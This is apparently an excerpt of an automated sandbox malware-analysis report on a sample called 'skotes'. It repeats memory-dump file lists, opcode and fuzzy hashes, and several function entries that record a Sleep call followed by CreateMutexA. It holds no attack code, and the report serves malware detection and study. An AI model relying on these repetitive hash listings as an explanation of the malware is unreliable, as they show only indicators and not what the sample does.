Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 45b6e793eeab210931c0315426b09fc6d613ed291e47f5f4d2e361bdc6bb4f0a
Instruction ID: 18584aa459c7336f58d62f26275167a5505056ea7cb21630a0dbaf93f1b10868
Opcode Fuzzy Hash: 45b6e793eeab210931c0315426b09fc6d613ed291e47f5f4d2e361bdc6bb4f0a
Instruction Fuzzy Hash: 803118317102009BEF189B78CC89BADB7F2DB96310F248299E018B73D5C77A99848B12

Function 00B6A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dfb34b0f3cfb9f3a3a233f7bfd96a33fdca37449261f0358881a2e0fdbbbb502
Instruction ID: e82b801d2bd17a0817698a4982f615544f520a71c1b9a5dfa6c8152d68f7acdc
Opcode Fuzzy Hash: dfb34b0f3cfb9f3a3a233f7bfd96a33fdca37449261f0358881a2e0fdbbbb502
Instruction Fuzzy Hash: 7E31FC317501409BEF189B78DCC9B6DB7F2EF96310F248299E018B72D5D77999848B12

Function 00B6A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4333d6f7e680463be0229fd7848a9696bbb6d1aec6c41124872dfaccf5944c6f
Instruction ID: d1c630fc4ad442ee17308b9feda39bbbeacc3074609a4586a30cb7b66c6f32a2
Opcode Fuzzy Hash: 4333d6f7e680463be0229fd7848a9696bbb6d1aec6c41124872dfaccf5944c6f
Instruction Fuzzy Hash: 9D311C317101009BDF18AB78DC8DBADB7F1EFD5314F248299E018AB3D5DB7999848B52

Function 00B6A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0c6797f2da3b01e15b9c0d45ab770b38e1b7b11970dbaf93ef3b768c40101ede
Instruction ID: 1bd0b9a61466dd3f46973da01441f9011a06dd8750ed00e40ae8eb0614db5d37
Opcode Fuzzy Hash: 0c6797f2da3b01e15b9c0d45ab770b38e1b7b11970dbaf93ef3b768c40101ede
Instruction Fuzzy Hash: 12312C317101008BEF18EB78DCC9BADB7F5EF95314F248299E015AB2D5C73999808B12

Function 00B6A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3793362696ae8762c1a6de4f1145ca5879580795c3ec6e24e2575386350693b4
Instruction ID: a3d71bec72488f875f9403974c019f48e9b04602132a70422adb76b746df590c
Opcode Fuzzy Hash: 3793362696ae8762c1a6de4f1145ca5879580795c3ec6e24e2575386350693b4
Instruction Fuzzy Hash: EB312A317102009BEF18DB78DDC9BBDB7F6DF85310F248299E019AB2D5C77999848B52

Function 00B69ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
